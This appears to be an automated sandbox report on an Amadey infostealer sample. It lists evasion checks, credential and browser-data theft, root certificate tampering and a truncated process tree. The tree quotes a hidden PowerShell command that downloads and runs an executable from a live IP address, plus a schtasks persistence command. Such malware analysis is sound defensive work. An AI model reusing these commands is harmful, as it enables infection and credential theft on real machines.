amadey | 3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	q3na5Mc.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2400	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
187580	Process not Found
203684	Process not Found
207004	Process not Found
212492	Process not Found
2400	powershell.exe
187916	Process not Found
205984	Process not Found
206160	Process not Found
206560	Process not Found
212728	Process not Found
201976	Process not Found
187580	Process not Found
212492	Process not Found

Downloads MZ/PE file 10 IoCs

flow	pid	Process
4	2400	powershell.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe
7	1556	rapes.exe

Uses browser remote debugging 2 TTPs 16 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
210060	Process not Found
210652	Process not Found
210508	Process not Found
8208	chrome.exe
202128	Process not Found
203312	Process not Found
203496	Process not Found
9640	chrome.exe
210812	Process not Found
210012	Process not Found
210420	Process not Found
210044	Process not Found
212428	Process not Found
12364	Process not Found
9612	chrome.exe
203488	Process not Found

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x0006000000012281-480.dat	net_reactor
behavioral1/memory/19452-499-0x0000000001140000-0x00000000011A0000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	q3na5Mc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	q3na5Mc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Executes dropped EXE 64 IoCs

pid	Process
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
1556	rapes.exe
2156	q3na5Mc.exe
2832	2f5a3b9cf9.exe
2952	2f5a3b9cf9.exe
1672	2f5a3b9cf9.exe
2144	2f5a3b9cf9.exe
2876	2f5a3b9cf9.exe
1760	2f5a3b9cf9.exe
2056	2f5a3b9cf9.exe
2548	2f5a3b9cf9.exe
300	2f5a3b9cf9.exe
1296	2f5a3b9cf9.exe
840	2f5a3b9cf9.exe
2276	2f5a3b9cf9.exe
1812	2f5a3b9cf9.exe
2188	2f5a3b9cf9.exe
1508	2f5a3b9cf9.exe
1344	2f5a3b9cf9.exe
700	2f5a3b9cf9.exe
1708	2f5a3b9cf9.exe
2108	2f5a3b9cf9.exe
1416	2f5a3b9cf9.exe
640	2f5a3b9cf9.exe
2452	2f5a3b9cf9.exe
2460	2f5a3b9cf9.exe
1816	2f5a3b9cf9.exe
2076	2f5a3b9cf9.exe
2532	2f5a3b9cf9.exe
1444	2f5a3b9cf9.exe
1764	2f5a3b9cf9.exe
1328	2f5a3b9cf9.exe
1932	2f5a3b9cf9.exe
996	2f5a3b9cf9.exe
1804	2f5a3b9cf9.exe
2364	2f5a3b9cf9.exe
2456	2f5a3b9cf9.exe
1784	2f5a3b9cf9.exe
1748	2f5a3b9cf9.exe
2232	2f5a3b9cf9.exe
288	2f5a3b9cf9.exe
2216	2f5a3b9cf9.exe
896	2f5a3b9cf9.exe
1752	2f5a3b9cf9.exe
892	2f5a3b9cf9.exe
2224	2f5a3b9cf9.exe
2020	2f5a3b9cf9.exe
2024	2f5a3b9cf9.exe
2240	2f5a3b9cf9.exe
2980	2f5a3b9cf9.exe
1568	2f5a3b9cf9.exe
1576	2f5a3b9cf9.exe
2244	2f5a3b9cf9.exe
3012	2f5a3b9cf9.exe
2708	2f5a3b9cf9.exe
2792	2f5a3b9cf9.exe
2840	2f5a3b9cf9.exe
2700	2f5a3b9cf9.exe
2580	2f5a3b9cf9.exe
2944	2f5a3b9cf9.exe
2732	2f5a3b9cf9.exe
2704	2f5a3b9cf9.exe
2788	2f5a3b9cf9.exe
2796	2f5a3b9cf9.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Wine	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Wine	q3na5Mc.exe

Loads dropped DLL 64 IoCs

pid	Process
2400	powershell.exe
2400	powershell.exe
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
1556	rapes.exe
1556	rapes.exe
1556	rapes.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe
2832	2f5a3b9cf9.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000004e74-1241.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
1556	rapes.exe
2156	q3na5Mc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 12408 set thread context of 12580	12408	Process not Found	1280
PID 19452 set thread context of 19384	19452	Process not Found	2133

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
12656	12408	Process not Found	1267
18880	12580	Process not Found	1280
19504	19452	Process not Found	2118
57056	56328	Process not Found	6839
97040	79284	Process not Found	9700
120428	117724	Process not Found	15011
211616	213100	Process not Found	26296
214300	214124	Process not Found	26511

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	q3na5Mc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f5a3b9cf9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	q3na5Mc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	q3na5Mc.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
55708	Process not Found
202632	Process not Found

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

defense_evasion spyware trojan

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies system certificate store 2 TTPs 3 IoCs

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	q3na5Mc.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	q3na5Mc.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	q3na5Mc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2680	schtasks.exe
203852	Process not Found
206768	Process not Found

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
1556	rapes.exe
2156	q3na5Mc.exe
2156	q3na5Mc.exe
2156	q3na5Mc.exe
8208	chrome.exe
8208	chrome.exe
2156	q3na5Mc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2832	2f5a3b9cf9.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe
Token: SeShutdownPrivilege	8208	chrome.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe
8208	chrome.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1316 wrote to memory of 2716	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	30
PID 1316 wrote to memory of 2716	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	30
PID 1316 wrote to memory of 2716	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	30
PID 1316 wrote to memory of 2716	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	30
PID 1316 wrote to memory of 2704	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	31
PID 1316 wrote to memory of 2704	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	31
PID 1316 wrote to memory of 2704	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	31
PID 1316 wrote to memory of 2704	1316	3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe	31
PID 2716 wrote to memory of 2680	2716	cmd.exe	33
PID 2716 wrote to memory of 2680	2716	cmd.exe	33
PID 2716 wrote to memory of 2680	2716	cmd.exe	33
PID 2716 wrote to memory of 2680	2716	cmd.exe	33
PID 2704 wrote to memory of 2400	2704	mshta.exe	34
PID 2704 wrote to memory of 2400	2704	mshta.exe	34
PID 2704 wrote to memory of 2400	2704	mshta.exe	34
PID 2704 wrote to memory of 2400	2704	mshta.exe	34
PID 2400 wrote to memory of 2068	2400	powershell.exe	36
PID 2400 wrote to memory of 2068	2400	powershell.exe	36
PID 2400 wrote to memory of 2068	2400	powershell.exe	36
PID 2400 wrote to memory of 2068	2400	powershell.exe	36
PID 2068 wrote to memory of 1556	2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE	37
PID 2068 wrote to memory of 1556	2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE	37
PID 2068 wrote to memory of 1556	2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE	37
PID 2068 wrote to memory of 1556	2068	TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE	37
PID 1556 wrote to memory of 2156	1556	rapes.exe	39
PID 1556 wrote to memory of 2156	1556	rapes.exe	39
PID 1556 wrote to memory of 2156	1556	rapes.exe	39
PID 1556 wrote to memory of 2156	1556	rapes.exe	39
PID 1556 wrote to memory of 2832	1556	rapes.exe	41
PID 1556 wrote to memory of 2832	1556	rapes.exe	41
PID 1556 wrote to memory of 2832	1556	rapes.exe	41
PID 1556 wrote to memory of 2832	1556	rapes.exe	41
PID 2832 wrote to memory of 1672	2832	2f5a3b9cf9.exe	42
PID 2832 wrote to memory of 1672	2832	2f5a3b9cf9.exe	42
PID 2832 wrote to memory of 1672	2832	2f5a3b9cf9.exe	42
PID 2832 wrote to memory of 1672	2832	2f5a3b9cf9.exe	42
PID 2832 wrote to memory of 2952	2832	2f5a3b9cf9.exe	43
PID 2832 wrote to memory of 2952	2832	2f5a3b9cf9.exe	43
PID 2832 wrote to memory of 2952	2832	2f5a3b9cf9.exe	43
PID 2832 wrote to memory of 2952	2832	2f5a3b9cf9.exe	43
PID 2832 wrote to memory of 2144	2832	2f5a3b9cf9.exe	44
PID 2832 wrote to memory of 2144	2832	2f5a3b9cf9.exe	44
PID 2832 wrote to memory of 2144	2832	2f5a3b9cf9.exe	44
PID 2832 wrote to memory of 2144	2832	2f5a3b9cf9.exe	44
PID 2832 wrote to memory of 2876	2832	2f5a3b9cf9.exe	45
PID 2832 wrote to memory of 2876	2832	2f5a3b9cf9.exe	45
PID 2832 wrote to memory of 2876	2832	2f5a3b9cf9.exe	45
PID 2832 wrote to memory of 2876	2832	2f5a3b9cf9.exe	45
PID 2832 wrote to memory of 1760	2832	2f5a3b9cf9.exe	46
PID 2832 wrote to memory of 1760	2832	2f5a3b9cf9.exe	46
PID 2832 wrote to memory of 1760	2832	2f5a3b9cf9.exe	46
PID 2832 wrote to memory of 1760	2832	2f5a3b9cf9.exe	46
PID 2832 wrote to memory of 2056	2832	2f5a3b9cf9.exe	47
PID 2832 wrote to memory of 2056	2832	2f5a3b9cf9.exe	47
PID 2832 wrote to memory of 2056	2832	2f5a3b9cf9.exe	47
PID 2832 wrote to memory of 2056	2832	2f5a3b9cf9.exe	47
PID 2832 wrote to memory of 2548	2832	2f5a3b9cf9.exe	48
PID 2832 wrote to memory of 2548	2832	2f5a3b9cf9.exe	48
PID 2832 wrote to memory of 2548	2832	2f5a3b9cf9.exe	48
PID 2832 wrote to memory of 2548	2832	2f5a3b9cf9.exe	48
PID 2832 wrote to memory of 300	2832	2f5a3b9cf9.exe	49
PID 2832 wrote to memory of 300	2832	2f5a3b9cf9.exe	49
PID 2832 wrote to memory of 300	2832	2f5a3b9cf9.exe	49
PID 2832 wrote to memory of 300	2832	2f5a3b9cf9.exe	49

C:\Users\Admin\AppData\Local\Temp\3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe
"C:\Users\Admin\AppData\Local\Temp\3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn ZsYf6maYyuI /tr "mshta C:\Users\Admin\AppData\Local\Temp\9PNCeSyak.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn ZsYf6maYyuI /tr "mshta C:\Users\Admin\AppData\Local\Temp\9PNCeSyak.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2680
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\9PNCeSyak.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Users\Admin\AppData\Local\TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE
      "C:\Users\Admin\AppData\Local\TempGAHA8JSTDFFAVG9AFVVLABLZ5KUXHYKC.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1556
      - C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
